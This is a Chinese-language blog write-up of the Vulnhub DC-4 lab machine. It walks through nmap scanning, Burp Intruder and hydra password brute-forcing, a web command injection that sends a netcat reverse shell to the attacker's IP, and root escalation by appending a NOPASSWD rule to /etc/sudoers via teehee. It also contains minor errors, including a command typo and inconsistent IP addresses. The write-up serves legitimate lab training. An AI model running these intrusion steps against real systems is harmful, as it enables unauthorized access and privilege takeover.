基于Vulnhub靶场—DC4渗透测试过程

简介: Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。

Vulhub靶场介绍:

Vulhub是一个专注于安全漏洞复现与学习的开源项目,它提供了一系列常见漏洞的复现环境,帮助安全从业者学习和研究漏洞利用技术。这些复现环境包括但不限于Web应用、容器、操作系统等。

Vulhub的特点包括:

  1. 丰富的漏洞场景: Vulhub涵盖了多种常见的漏洞场景,包括Web应用漏洞(如SQL注入、XSS等)、容器漏洞(如Docker安全配置)、操作系统漏洞等。
  2. 详细的漏洞复现指南: 对于每个漏洞场景,Vulhub提供了详细的漏洞复现指南,包括环境搭建、漏洞利用过程等步骤,方便用户学习和实践。
  3. 易于使用的环境搭建: Vulhub提供了一键部署或Docker镜像的方式,使用户可以快速搭建漏洞复现环境,节省了配置环境的时间。
  4. 持续更新与维护: Vulhub项目在GitHub上开源,得到了全球安全社区的贡献与反馈,保持了良好的更新与维护。

总的来说,Vulhub为安全从业者提供了一个学习漏洞利用技术的良好平台,帮助他们提升安全意识和技能。

Vulnhub靶机下载:

官网下载地址:https://download.vulnhub.com/dc/DC-4.zip

Vulnhub靶机环境搭建:

下载压缩包之后解压,然后使用VMware 或者Oracle打开打开即可

Vulnhub靶机DC-4渗透过程:

01 靶机信息收集:

靶机与kali网络模式均为nat模式

一、使用nmap工具发现靶机IP地址:

nmap -sn IP号段

渗透机 Kali IP:192.168.220.136

靶机DC-4 IP:192.168.220.137&192.168.94.185

二、端口扫描:

nmap -sV -A -n 192.168.220.137

通过端口扫描发现开放了22、80端口,通过对22端口进行弱口令或爆破无果后更换思路,访问80端口发现以下页面:

02 靶机渗透测试

对于上述页面通过弱口令、sql万能密码、sqlmap爆破均无所获,那么最后使用我们的密码爆破

用户名可根据我们经验推测出为admin,那么密码使用burpsuite进行密码爆破

抓包发送至intruder进行密码爆破

burpsuite中intruder介绍:

Burp Suite中的Intruder是一种高级的漏洞利用工具,主要用于自动化攻击和检测Web应用程序中的各种漏洞,如SQL注入、XSS、CSRF等。它提供了多种攻击模式和高度可定制的选项,使安全测试人员能够更有效地发现和利用潜在的漏洞。

Intruder的主要特点包括:

  1. 攻击模式:Intruder提供了多种攻击模式,包括:Cluster Bomb、Pitchfork、Battering Ram和Greedy,每种模式都有不同的用途和优势。
  2. Payloads:用户可以自定义各种Payloads(负载)来进行攻击,如数字范围、字典、自定义字符串等。这些Payloads可以用于测试参数的不同输入,以发现漏洞。
  3. 位置标记:用户可以使用特殊的标记将Payloads插入到HTTP请求的不同位置,例如GET参数、POST参数、请求头、Cookie等。
  4. 自动化:Intruder能够自动化地发送大量的HTTP请求,然后根据响应的结果来分析和识别可能存在的漏洞。
  5. 结果分析:Intruder能够将攻击结果进行整理和分类,方便用户进行漏洞分析和报告撰写。

在使用Intruder时,用户首先需要配置目标的URL和参数,然后选择适当的攻击模式和Payloads,并启动攻击。最后,用户可以根据攻击结果来分析漏洞,并采取进一步的行动,如修复漏洞或者进一步深入攻击。

将密码设置为变量,使用字典为kali中 /usr/share/wordlists/rockyou.txt进行批量爆破

通过少许时间之后爆破成功,密码为:happy

登录成功之后发现存在三个选项,点击run后发现执行了一个命令执行

猜测存在命令执行,尝试反弹shell

kali开始监听

nv -lvnp 4444

生成反弹shell 使用+好拼接:

nc+-e+/bin/sh+192.168.94.134+4444

成功反弹shell至kali当中,使用Python生成一个标准交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

03 权限提升

'cat /etc/passwd 发现三个可疑用户:charles、jim、sam

回到/home目录当中发现了对应三个用户的目录,并且在jim目录当中的backups目录下发现了密码备份bak文件

直接使用old-passwords.bak里面的密码开始爆破,爆破密码出 jim:jibril04

hydra -l jim -P passwords.txt ssh://192.168.94.185 -vV

在/var/mail目录当中发现了Charles发给jim的邮件,也发现了Charles的密码:Charles:^xHhA&hvim0y

那么在jim用户下就没有什么其他有价值的东西了,于是掉转矛头向Charles

尝试查看是否具有sudo的权限:sudo -l 从而发现有teehee执行权限

发现-a 参数可以写入文件

teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

这条命令的意思在于(个人理解):允许用户charles在执行sudo命令时候无需输入密码,利用echo打印出sudo权限规则的文本,并将其追写到/etc/sudoers文件当中。这样就允许用户Charles在执行sudo命令时无需输入密码即可执行sudo命令。

详细官方解释:

echo ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’: echo 命令用于向标准输出打印文本。此处的文本是 ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’,它定义了一个 sudo 权限规则。

charles: 这是用户名,在这个例子中是指定的用户。

ALL=(ALL:ALL): 这部分规定了 charles 用户可以以任何用户身份和组执行任何命令。

NOPASSWD:ALL: 这部分规定了 charles 用户在执行 sudo 命令时无需输入密码。

|: 这是管道符号,用于将 echo 命令的输出传递给下一个命令。

sudo teehee -a /etc/sudoers:sudo 是一个授权用户执行特权命令的工具。teehee 命令用于从标准输入读取数据,并将其写入文件。-a 参数表示追加写入。

/etc/sudoers: 这是一个特殊的文件,用于配置 sudo 的权限规则。只有具有适当权限的用户才能修改此文件。

sudo su 切换root权限

  • sudo:它允许普通用户在不切换到root用户的情况下执行以其他用户权限运行的命令(默认是root权限)。使用sudo可以提供一定的安全性,因为只有授权的用户才能执行特定的命令。
  • su:用于切换用户身份。默认情况下,如果不指定用户,则su命令会切换到root用户。

最后查看flag.txt

04 渗透过程中的总结:

在爆破密码时候,我们会用到old-password.bak中的密码,那么我们可以使用

python2 -m SimpleHTTPServer 8090

使用Python快速搭建一个http服务,从中下载bak文件,在使用cp old-password.bak password.txt,将old-password.bak中的密码复制到password.txt当中。如果大家还有其他方法可以在评论区告知!!!

目录
相关文章
|
2月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
31 4
|
2月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
37 4
|
3月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
40 0
|
3月前
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
43 0
|
7月前
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
|
7月前
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA  AC/DC电源模块的可靠性设计与测试方法
|
7月前
|
安全 Shell Linux
记录VulnHub 靶场——Escalate_Linux渗透测试过程
本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
165 0
|
18天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
52 3
|
2月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
68 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
3月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
252 7
Jmeter实现WebSocket协议的接口测试方法